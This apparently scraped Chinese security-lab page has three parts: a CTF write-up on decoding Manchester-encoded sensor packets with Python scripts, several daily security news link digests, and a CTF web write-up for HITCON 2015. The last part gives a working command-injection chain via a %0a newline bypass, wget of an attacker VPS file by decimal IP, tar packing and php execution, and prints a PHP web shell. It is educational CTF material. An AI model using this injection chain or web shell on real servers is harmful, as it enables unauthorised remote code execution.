crypto之曼彻斯特编码
通过对数字信号进行编码来表示数据,不归零编码、曼切斯特编码、差分曼切斯特编码都是其编码方式。 差分曼彻斯特编码是一种使用中位转变来计时的编码方案。数据通过在数据位开始处加一转变来表示。令牌环局域网就利用差分曼彻斯特编码方案。 在 每个时钟周期的中间都有一次电平跳变,这个跳变做同步之用。 在每个时钟周期的起始处:跳变则说明该比特是0,不跳变则说明该比特是1。 差分曼彻斯特编码的优点为:收发双方可以根据编码自带的时钟信号来保持同步,无需专门传递同步信号的线路,因此成本低;缺点为:实现技术复杂。 曼彻斯特编码(Manchester Encoding),也叫做相位编码(PE),是一个同步时钟编码技术,被物理层使用来编码一个同步位流的时钟和数据。曼彻斯特编码被用在以太网媒介系统中。曼彻斯特编码提供一个简单的方式给编码简单的二进制序列而没有长的周期没有转换级别,因而防止时钟同步的丢失,或来自低频率位移在贫乏补偿的模拟链接位错误。在这个技术下,实际上的二进制数据被传输通过这个电缆,不是作为一个序列的逻辑1或0来发送的(技术上叫做反向不归零制(NRZ))。相反地,这些位被转换为一个稍微不同的格式,它通过使用直接的二进制编码有很多的优点。  差分曼彻斯特编码,每位中间的跳变仅提供时钟定时,而用每位开始时有无跳变表示"0"或"1",有跳变为"0",无跳变为"1"。 曼彻斯特编码的编码规则是:在信号位中电平从低到高跳变表示1,在信号位中电平从高到低跳变表示0。 这个图就单独的表示曼彻斯特编码的0,1原理图 从低到高就是0,从高到低就是1   看曼彻斯特就简单的分成一段一段看他上升还是下降就可以表示出来 而差分曼彻斯特要看他前一个信号的值,比如这图里第一个就是不跳就用1表示,第二个信号从底下升到高处就跳了表示0,第三个也是不跳用1表示,第4个同理也是1,第5个跳了就是0。而差分的意思应该就是要把一段内拆成两段只看前一段,而后一半是用来同步时钟用的,顺便可以传输下一个数据来表示是否有跳  再来看下三种信号的区别  在来说下802.3曼彻斯特和标准曼彻斯特的区别,就是编码后的字符的区别。 第一种G. E. Thomas, Andrew S. Tanenbaum1949年提出的,它规定0是由低-高的电平跳变表示,1是高-低的电平跳变。 按此规则有: • 编码0101(即0x5),表示原数据为00; • 编码1001(0x9)表示10; • 编码0110(0x6)表示01; • 编码1010(0xA)表示11。 第二种IEEE 802.4(令牌总线)和低速版的IEEE 802.3(以太网)中规定, 按照这样的说法, 低-高电平跳变表示1, 高-低的电平跳变表示0。 • 编码0101(0x5)表示11; • 编码1001(0x9)表示01; • 编码0110(0x6)表示10; • 编码1010(0xA)表示00;  顺便推荐一个可解,差分曼彻斯特和标准曼彻斯特和802.3曼彻斯特 http://www.pc6.com/softview/SoftView_606143.html  BUUOJ-Crypto-传感器 5555555595555A65556AA696AA6666666955 这是某压力传感器无线数据包解调后但未解码的报文(hex)    已知其ID为0xFED31F,请继续将报文完整解码,提交hex。 提示1:曼联 去网上抄了个脚本,这个脚本的转换其实就是应用了802.3曼彻斯特的规则取了1和3位,题目里给了id的话,可以看flag解出来是否含有id?吗,相当于校验是否正确的一个功能。 cipher='5555555595555A65556AA696AA6666666955' def iee(cipher):     tmp=''     for i in range(len(cipher)):         a=bin(eval('0x'+cipher[i]))[2:].zfill(4)   #补齐四位方便取1和3位         tmp=tmp+a[1]+a[3]      #加上1和3位,就是应用了802.3的規則,或者定义一个字典替换也可以         print(tmp)     plain=[hex(int(tmp[i:i+8][::-1],2))[2:] for i in range(0,len(tmp),8)]     print(''.join(plain).upper()) iee(cipher) # tmp="111111111111111101111111110010111111100000100110000010101010101010011111" # flag="" # for i in range(0,len(tmp),8): #     # plain=hex(int(tmp[i:i+8][::-1],2))[2:] #     # print(''.join(plain).upper()) #     flag+=((hex(int(tmp[i:i+8][::-1],2)))[2:]) # print(flag.upper())  或者用工具也可以直接出  CISCN(全国大学生信息安全竞赛) 2016 传感器2 现有某ID为0xFED31F的压力传感器,已知测得压力为45psi时的未解码报文为: 5555555595555A65556A5A96AA666666A955 压力为30psi时的未解码报文为: 5555555595555A65556A9AA6AA6666665665 请给出ID为0xFEB757的传感器在压力为25psi时的解码后报文,提交hex。 注:其他测量读数与上一个传感器一致。 tips:flag是flag{破译出的明文} 根据进制转换,转成十进制差5的话就是11 0xFED31F 45psi fffffed31f635055f8 30psi fffffed31f425055d7 找到两个psi差的地方,相减,括号内是十进制的数 f8(248)-d7(215)=0x21(33) 63(99)-42(66)=0x21(33) 15差33的话,5就是差11。除3即可 15   33 5    11 0xFEB757 CC=215-11 37=66-11      拿差值替换掉 25psi   fffffed31f375055CC      把检验位直接替换掉      fffffeb757375055cc      转成大写      FFFFFEB757375055CC CISCN(全国大学生信息安全竞赛) 2017 传感器1 已知ID为0x8893CA58的温度传感器的未解码报文为:3EAAAAA56A69AA55A95995A569AA95565556 此时有另一个相同型号的传感器,其未解码报文为:3EAAAAA56A69AA556A965A5999596AA95656 请解出其ID,提交flag{hex(不含0x)}。 先把给的字符串转成以一位字符串转为4位2进制的01数字。然后在以两位分割,因为差分曼彻斯特编码后面的数据是同步时钟和决定下一个传输的数据的,所以加进去之后。还要等于cc,让他继续下一步的操作,判断是否为01就是是否有跳。bintohex函数就是把01数据转为字符串。可以看下面另一个脚本的单独操作 #coding:utf-8 import re   #hex1 = 'AAAAA56A69AA55A95995A569AA95565556' # #  0x8893CA58 hex1 = 'AAAAA56A69AA556A965A5999596AA95656' def bintohex(s1):     s2 = ''     s1 = re.findall('.{4}',s1)     print ('每一个hex分隔:',s1)     for i in s1:         s2 += str(hex(int(i,2))).replace('0x','')       print ('ID:',s2)   def diffmqst(s):     s1 = ''     s = re.findall('.{2}',s)     cc = '01'     for i in s:         if i == cc:             s1 += '0'         else:             s1 += '1'         cc = i  # 差分加上cc = i       print ('差分曼切斯特解码:',s1)     bintohex(s1)   if __name__ == '__main__':     bin1 = bin(int(hex1,16))[2:]     diffmqst(bin1)   在贴一个脚本 str1 = '3EAAAAA56A69AA556A965A5999596AA95656' s = '' for i in xrange(len(str1)/2):     ch = str1[i*2 : i*2+2]     b = bin(int(ch, 16))[2:]     b = '0' * (8-len(b)) + b     s += b print 's:'+s r = '' #因为此处除了前六位都是10和01,很明显是曼彻斯特,因而把前六位去掉即可看到正确的结果 s = s[6:] print 's:'+s for i in xrange(len(s)/2-1):     c = s[i*2+1 : i*2+3]     if c == '11' or c=='00':         r += '1'     else:         r += '0' print "r:"+r ret ='' for i in xrange(len(r)/8):     c = r[i*8 : i*8+8]     print str(r[i*8 : i*8+8]) + ' ' + c     ret += hex(int(c, 2 ))[2:].upper() print ret 左边去掉5个字符,右边去掉4个字符 str="10000000001001001101100010000100010110101011111100110100000100011001" a=0 flag="" for i in range(0,len(str)/4):     # print(str[0+(i*4):4+(i*4)])     # a+=1     flag+=hex(int(str[0+(i*4):4+(i*4)],2))[2:]     # print(hex(int(str[0+(i*4):4+(i*4)],2))[2:])     # print(str[4:8]) print(flag)   或者就是直接上工具    CISCN(全国大学生信息安全竞赛) 2017 传感器2 已知ID为0x8893CA58的温度传感器未解码报文为:3EAAAAA56A69AA55A95995A569AA95565556 为伪造该类型传感器的报文ID(其他报文内容不变),请给出ID为0xDEADBEEF的传感器1的报文校验位(解码后hex),以及ID为0xBAADA555的传感器2的报文校验位(解码后hex),并组合作为flag提交。 例如,若传感器1的校验位为0x123456,传感器2的校验位为0xABCDEF,则flag为flag{123456ABCDEF}。 0024D 8893CA58 41 81 0024D 8845ABF3 41 19 把上一题的数据拿过来查看,格式应该是0024+id+41+xx(校验) 其他格式都是固定的,即可判别最后两位为校验 把题目给的数据,分开找到校验的值。如果是按一位=4位,即为8位,可以尝试crc8 >>> bin(int('A',16)) '0b1010'   可以看到就是等于校验值的  直接就拿题目要求的替换掉id即可 0xDEADBEEF 024DDEADBEEF41 0xBAADA555 024DBAADA55541 >>> hex(c8(binascii.unhexlify('024DDEADBEEF41'))) '0xb5' >>> hex(c8(binascii.unhexlify('024DBAADA55541'))) '0x15' http://www.ip33.com/crc.html  参考链接: [1] https://blog.csdn.net/qq_37790902/article/details/79616450 [2] https://blog.csdn.net/Enderman_xiaohei/article/details/104331317 [3] http://www.pc6.com/softview/SoftView_606143.html [4]https://blog.csdn.net/zz_Caleb/article/details/89331290 [5]https://zhuanlan.zhihu.com/p/27827585 [6]https://blog.csdn.net/qq_43165101/article/details/97395191
网络安全日报 2022年03月07日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、71,000 名 NVIDIA 员工的用户凭证泄露 https://www.securityweek.com/credentials-71000-nvidia-employees-leaked-following-cyberattack 2、Linux 内核 cgroups 中的 CVE-2022-0492 漏洞允许容器逃逸 https://securityaffairs.co/wordpress/128742/security/cve-2022-0492-linux-kernel-flaw.html 3、Lapsus$ 团伙泄露从三星电子窃取的数据 https://securityaffairs.co/wordpress/128712/cyber-crime/samsung-electronics-lapsus-ransomware.html 4、CISA 在已知利用漏洞目录中增加了 95 个漏洞 https://securityaffairs.co/wordpress/128686/security/catalog-of-actively-exploited.html 5、俄发布使用 DDoS 攻击攻击其基础设施的 IP 和域列表 https://thehackernews.com/2022/03/russia-releases-list-of-ips-domains.html 6、思科修复Expressway和TelePresenceVCS中的高危漏洞 https://www.securityweek.com/cisco-patches-critical-vulnerabilities-expressway-telepresence-vcs-products 7、日本美容零售商Acro披露遭到黑客入侵 https://portswigger.net/daily-swig/japanese-beauty-retailer-acro-blames-third-party-hack-for-breach-of-100k-payment-cards 8、大规模Meris僵尸网络嵌入来自REvil的勒索信 https://threatpost.com/massive-meris-botnet-embeds-ransomware-notes-revil/178769/ 9、Dynamicweb软件中漏洞可导致服务器受损 https://portswigger.net/daily-swig/rce-vulnerability-in-dynamicweb-enterprise-software-could-allow-server-compromise 10、恶意软件使用被盗的英伟达代码签名证书 https://www.bleepingcomputer.com/news/security/malware-now-using-stolen-nvidia-code-signing-certificates/
网络安全日报 2022年03月04日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、英特尔推出适用于第 12 代核心处理器的博锐安全增强功能 https://www.securityweek.com/intel-unveils-vpro-security-enhancements-12th-gen-core-processors 2、医疗保健公司 Mon Health 披露第二次数据泄露 https://www.securityweek.com/healthcare-company-mon-health-discloses-second-data-breach 3、Avast 发布了HermeticRansom 免费解密器 https://securityaffairs.co/wordpress/128652/breaking-news/free-decryptor-hermeticransom-ukraine.html 4、研究人员发现超10万个医用输液泵受高危漏洞影响 https://securityaffairs.co/wordpress/128633/hacking/medical-infusion-pumps-flaws.html 5、乌克兰 WordPress 网站遭受大规模复杂攻击 https://securityaffairs.co/wordpress/128613/cyber-warfare-2/ukrainian-wordpress-sites-attacks.html 6、研究人员展示了针对同态加密的新侧信道攻击 https://thehackernews.com/2022/03/researchers-demonstrate-new-side.html 7、Avast研究人员警告不要加入 DDoS 攻击以帮助乌克兰 https://blog.avast.com/avast-threatlabs-warns-against-ddos-attacks-ukraine 8、Hashnode博客平台中存在远程代码执行漏洞 https://portswigger.net/daily-swig/remote-code-execution-vulnerability-uncovered-in-hashnode-blogging-platform 9、苹果禁用俄罗斯 iPhone 核心功能,暂停在俄销售产品 http://finance.sina.com.cn/stock/relnews/us/2022-03-02/doc-imcwipih6147063.shtml 10、俄媒:俄罗斯准备启用本国互联网 https://www.secrss.com/articles/39831
网络安全日报 2022年03月03日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Conti Ransomware 源代码被泄露 https://www.securityweek.com/conti-ransomware-source-code-leaked 2、谷歌发布Chrome 99,共修复28个漏洞 https://www.securityweek.com/google-paid-out-over-100000-vulnerabilities-patched-chrome-99 3、VoIPmonitor 监控软件中发现的严重安全漏洞 https://thehackernews.com/2022/03/critical-security-bugs-uncovered-in.html 4、TeaBot Android 银行恶意软件通过 Google Play 商店应用传播 https://thehackernews.com/2022/03/teabot-android-banking-malware-spreads.html 5、卫星通信巨头Viasat遭到网络攻击服务中断 https://www.zdnet.com/article/viasat-confirms-cyberattack-causing-outages-across-europe/ 6、研究人员发现大量的垃圾邮件针对微软帐户 https://threatpost.com/microsoft-accounts-targeted-russian-credential-harvesting/178698/ 7、2021 年针对编程 API 的攻击增长了 600% 以上 https://www.bleepingcomputer.com/news/security/attacks-abusing-programming-apis-grew-over-600-percent-in-2021/ 8、新型芯片可防止黑客从智能设备中提取隐藏信息 https://www.cnbeta.com/articles/tech/1241121.htm 9、莫斯科交易所被网络攻击而被迫下线 https://www.infosecurity-magazine.com/news/moscow-exchange-cyber-attack/ 10、2022 年可能是网络犯罪将重心转向消费者的一年 https://www.bleepingcomputer.com/news/security/2022-may-be-the-year-cybercrime-returns-its-focus-to-consumers/
网络安全日报 2022年03月02日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、NVIDIA 确认员工凭证在网络攻击中被盗 https://www.securityweek.com/nvidia-confirms-employee-credentials-stolen-cyberattack 2、DDoS 攻击滥用网络中间设备进行反射、放大 https://www.securityweek.com/ddos-attacks-abuse-network-middleboxes-reflection-amplification 3、施耐德继电器缺陷可能允许黑客禁用电网保护 https://www.securityweek.com/schneider-relay-flaws-can-allow-hackers-disable-electrical-network-protections 4、研究人员发现了针对乌克兰网络攻击的新数据擦除器-IsaacWiper https://securityaffairs.co/wordpress/128553/malware/isaacwiper-data-wiper.html 5、900 万安装量的 Chrome Skype 扩展程序被发现泄露用户信息 https://portswigger.net/daily-swig/private-chat-chrome-skype-extension-with-9m-installs-found-to-be-leaking-user-info 6、Lansweeper 中的漏洞可能导致 JavaScript、SQL 注入 https://blog.talosintelligence.com/2022/03/vuln-spotlight-.html 7、严重的 GitLab 漏洞可能允许攻击者窃取运行者注册令牌 https://portswigger.net/daily-swig/critical-gitlab-vulnerability-could-allow-attackers-to-steal-runner-registration-tokens 8、PJSIP库存在高危RCE漏洞影响WhatsApp和其他VoIP应用 https://threatpost.com/rce-bugs-whatsapp-popular-voip-apps-patch-now/178719/ 9、CISA在已知被利用漏洞目录增加了4个漏洞 https://thehackernews.com/2022/02/cisa-adds-recently-disclosed-zimbra-bug.html 10、三周被罚一个亿!苹果向荷兰“妥协”:首次开放第三方支付 https://news.mydrivers.com/1/817/817246.htm
网络安全日报 2022年03月01日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、针对乌克兰民用数字目标的网络攻击激增 https://www.securityweek.com/microsoft-cyberattacks-ukraine-hitting-civilian-digital-targets 2、丰田在日本的全部生产线因其供应商遭网络攻击而停止 https://www.securityweek.com/toyotas-japan-production-halted-over-suspected-cyberattack 3、UNC2596 通过Exchange Server 漏洞部署 Cuba勒索软件 https://cyware.com/news/unc2596-deploys-cuba-ransomware-via-microsoft-exchange-server-vulnerabilities-280b72bd 4、Gerbv 中发现的漏洞可能导致代码执行、信息泄露 https://blog.talosintelligence.com/2022/02/vuln-spotlight-gerbv-g.html 5、研究人员构建Apple Airtag克隆版本成功绕过反跟踪保护技术 https://thehackernews.com/2022/02/experts-create-apple-airtag-clone-that.html 6、6万多条属于Conti勒索软件团伙的内部消息遭泄露 https://www.bleepingcomputer.com/news/security/conti-ransomwares-internal-chats-leaked-after-siding-with-russia/ 7、Android 上的 Visual Voice Mail 可能容易被窃听 https://www.bleepingcomputer.com/news/security/visual-voice-mail-on-android-may-be-vulnerable-to-eavesdropping/ 8、臭名昭著的黑客论坛Raidforums据称被当局查封 https://www.hackread.com/hacking-forum-raidforums-com-seized-by-authorities/ 9、俄克拉荷马州的DNA解决方案公司的个人数据被泄露 https://portswigger.net/daily-swig/dna-data-of-sexual-assault-victims-exposed-in-breach-at-us-laboratory 10、俄乌冲突加剧,网络安全股价大涨,最高涨幅超110% https://www.secrss.com/articles/39667
网络安全日报 2022年02月28日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、匿名者声称破坏了白俄罗斯铁路的内部网络 https://securityaffairs.co/wordpress/128486/hacktivism/anonymous-breached-belarusian-railways.html 2、芯片制造商巨头英伟达遭受勒索软件攻击 https://securityaffairs.co/wordpress/128456/cyber-crime/nvidia-ransomware-attack.html 3、Fileless SockDetour 后门针对美国国防承包商 https://securityaffairs.co/wordpress/128446/apt/sockdetour-backdoor-targets-us-defense.html 4、Okta Advanced Server Access 客户端中存在 RCE漏洞 https://securityaffairs.co/wordpress/128418/security/nhs-okta-advanced-server-access-rce.html 5、TrickBot 恶意软件团伙关闭了其僵尸网络基础设施 https://thehackernews.com/2022/02/notorious-trickbot-malware-gang-shuts.html 6、GE Digital修复了Proficy CIMPLICITY HMI/SCADA软件的漏洞 https://www.securityweek.com/ge-scada-product-vulnerabilities-show-importance-secure-configurations 7、Zenly社交媒体应用程序中被发现存在两个漏洞 https://threatpost.com/zenly-bugs-account-takeover/178646/ 8、Electron Bot恶意软件通过仿冒流行游戏进入微软官方商店 https://www.bleepingcomputer.com/news/security/malware-infiltrates-microsoft-store-via-clones-of-popular-games/ 9、IBM的数据显示亚洲成为2021年受网络攻击的最多的地区 https://www.zdnet.com/article/asia-most-targeted-region-in-2021-taking-on-one-in-four-cybersecurity-attacks/ 10、Cuba勒索软件团伙频繁利用Microsoft Exchange漏洞 https://threatpost.com/microsoft-exchange-exploited-cuba-ransomware/178665/
网络安全日报 2022年02月25日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Deadbolt 勒索软件针对 ASUSTOR 和QNap NAS 设备 https://thehackernews.com/2022/02/warning-deadbolt-ransomware-targeting.html 2、 Cisco Nexus 交换机存在 DoS 漏洞 https://www.securityweek.com/nsa-informs-cisco-vulnerability-exposing-nexus-switches-dos-attacks 3、大规模网络钓鱼活动针对花旗银行客户 https://www.bleepingcomputer.com/news/security/citibank-phishing-baits-customers-with-fake-suspension-alerts/ 4、乌克兰政府机构和银行网站再次遭受 DDoS 攻击 https://www.bleepingcomputer.com/news/security/ukrainian-government-and-banks-once-again-hit-by-ddos-attacks/ 5、Sandworm黑客组织利用Cyclops Blink恶意软件攻击防火墙设备 https://www.zdnet.com/article/security-warning-hackers-are-using-this-new-malware-to-target-firewall-appliances/ 6、Dridex恶意软件在被黑电脑上部署Entropy勒索软件 https://thehackernews.com/2022/02/dridex-malware-deploying-entropy.html 7、Horde网络邮件客户端的XSS漏洞可通过文件预览功能触发 https://portswigger.net/daily-swig/zero-day-xss-vulnerability-in-horde-webmail-client-can-be-triggered-by-file-preview-function 8、华硕子公司ASUSTOR遭勒索攻击,被索要上千万元赎金 https://www.freebuf.com/news/323073.html 9、NVIDIA RTX 30显卡挖矿被100%破解?其实是恶意软件 http://www.cnbeta.com/articles/tech/1240357.htm 10、谷歌浏览器允许用户在保存的密码中添加注释 https://www.bleepingcomputer.com/news/google/google-chrome-to-allow-users-to-add-notes-to-saved-passwords/
网络安全日报 2022年02月24日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、中国研究员披露美国NSA方程式的顶级后门Bvp47技术细节 https://www.pangulab.cn/post/the_bvp47_a_top-tier_backdoor_of_us_nsa_equation_group 2、Sophos 将 Entropy 勒索软件与 Dridex 恶意软件相关联 https://securityaffairs.co/wordpress/128323/cyber-crime/entropy-ransomware-dridex-link.html 3、Horde Webmail 软件中被发现了一个存在 9 年之久的未修补漏洞 https://securityaffairs.co/wordpress/128314/hacking/horde-webmail-xss.html 4、Kostovite、Petrovite 和 Erythrite 黑客组织正在攻击工业、OT系统 https://www.zdnet.com/article/these-new-hacking-groups-are-striking-industrial-operational-tech-targets/ 5、加密缺陷影响超过1亿部三星手机可能受到初始向量重用攻击 https://threatpost.com/samsung-shattered-encryption-on-100m-phones/178606/ 6、CryptBot 的新变种针对所有 Chrome 版本 https://cyware.com/news/new-variant-of-cryptbot-targets-all-chrome-versions-ff58a9f5 7、研究人员使用 Find My Protocol 绕过 Apple Airtags 克隆的跟踪保护 https://www.theregister.com/2022/02/22/apple_airtags_protections_bypass/ 8、研究人员在NPM包存储库中发现25个恶意JavaScript库 https://thehackernews.com/2022/02/25-malicious-javascript-libraries.html 9、研究人员揭示了利用VNC屏幕共享软件绕过MFA的方法 https://www.bleepingcomputer.com/news/security/devious-phishing-method-bypasses-mfa-using-remote-access-software/ 10、加密货币交易平台Coinbase因存在漏洞短暂停止了其服务 https://www.govinfosecurity.com/market-nuking-coinbase-api-bug-halted-new-trading-orders-a-18582
如何巧用vps解题?
前言 对于Web方向的选手来说,拥有一台vps可以快速解决一些RCE问题,本篇文章所演示的是2015年HITCON的一道web题,虽然时隔有些久,但是这题所利用的trick以及RCE的思路,仍然值得我们去学习。 初步审计 题目代码如下: <?php    highlight_file(__FILE__);    $dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];    if ( !file_exists($dir) )        mkdir($dir);    chdir($dir);    $args = $_GET['args'];    for ( $i=0; $i<count($args); $i++ ){        if ( !preg_match('/^\w+$/', $args[$i]) )            exit();   }    exec("/bin/orange " . implode(" ", $args)); ?> 题目代码比较短,一共就15行代码,但实际上最关键的代码就只有两行,如下: if ( !preg_match('/^\w+$/', $args[$i]) ) exec("/bin/orange " . implode(" ", $args)); 一个是正则匹配,一个是exec的命令执行 首先先看正则部分/^\w+$/,这一部分要求传入的args参数必须以字母数字下划线开头,除此之外,在最后还有一个美元符号$,需要明确的是:$符号在PCRE中是会匹配\n以及\r前的位置的,结合后面exec命令执行的部分,也就是说,我们可以使用换行符%0a绕过执行其他命令。 但是如果本题在正则表达式后加一个D修饰符,那么就无法使用%0a绕过,具体测试样例如下,这里就不过多阐述了,因为题目中没有这个修饰符。 echo preg_match("/^\w+$/", "abc".chr(10));//1 echo preg_match("/^\w+$/D", "abc".chr(10));//0 其次再粗略看一下命令执行的部分,这里命令执行的部分使用exec,单单使用一个exec是无法将命令执行的结果回显出来,因此在后续做题就可能会产生这么几种思路:数据外带、写入shell等等 数据外带 首先分析一下数据外带,多数情况下想要尝试数据外带都需要使用一些特殊的字符,例如使用反引号外带至dnslog,不过本题正则不允许args传入,因此数据外带这个方法行不通 写入shell 想要使用写入shell方法完成本题,还是有两种方式,一种方式就是使用echo 'xxx' > xx.php,然而这题正则过滤了这些字符,因此可以使用另一种方法,就是将下载远程服务器上的文件,通过一些操作进行RCE 详解RCE 本题官方解所使用的思路就是:下载远程服务器上的文件,通过一些操作进行RCE,具体是哪些操作下面会说到。 首先我们现在本地服务器上测试,此时新建一个php文件,命名为1.php,内容如下: <?php echo 3 * 4; echo "\n"; ?> 然后将1.php放入一个文件夹a中 这个时候我们将文件夹a利用tar打包,注意是打包,不是压缩 tar cf b a 将文件夹a打包,并且生成b 打包之后结果如下: 此时我们直接使用php命令去执行这个b 看一下最后的12,就是前面1.php的执行结果3 * 4 = 12 那么为什么可以直接执行b这个文件呢? 其实我们可以直接使用cat查看b中的文件 可以看到,b文件中存在之前写入的1.php的代码 这个时候我们总结一下这个方法,全程使用的命令对于正则/^\w+$/都是合法的,并且1.php中的内容可控,因此可以通过这个方法写入shell 因此,对于解题来说,解题流程如下: 首先在vps中新建一个index.html,文件内容如下: <?php file_put_contents('shell.php', '    <?php    header("Content-Type: text/plain");    print shell_exec($_GET["cmd"]);    ?> '); ?> 然后在vps中启动http服务 python3 -m http.server 80 由于ip都是6.6.6.6的形式,带.,不符合正则,因此可以使用十进制ip绕过 <?php echo ip2long("6.6.6.6"); ?> //101058054 然后先新建一个upload目录,对应上面测试的a ?args[]=l%0a&args[]=mkdir&args[]=upload 然后进入upload目录,利用wget下载vps上的index.html ?args[]=l%0a&args[]=cd&args[]=upload%0a&args[]=wget&args[]=101058054 //注意:最后一个args为vps十进制ip值 将upload目录打包,打包后的名称为b ?args[]=l%0a&args[]=tar&args[]=cvf&args[]=b&args[]=upload //将upload目录打包为b 在执行b目录,写入shell ?args[]=l%0a&args[]=php&args[]=b //执行b,写入shell 这题本质上是利用了tar打包的特性,将下载下来的index.html打包,然后利用php执行 不过这只是官方解,除此之外,在2015年比赛的时候,还有一些队伍使用http302重定向到ftp中,将恶意文件下载到靶机中getshell。 由于Python自带的http.server默认将index.html作为首页,并且无法修改默认首页 但是,还有一种方法就是自建一个web服务器,不使用php解析,且访问80端口的默认文档为shell.php,然后再利用wget下载php文件进行getshell。 总之,方法总比困难多。 参考文章 http://drops.xmd5.com/static/drops/web-9845.html https://github.com/p4-team/ctf/tree/master/2015-10-18-hitcon/web_100_babyfirst
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页 第212页 第213页 第214页 第215页 第216页 第217页 第218页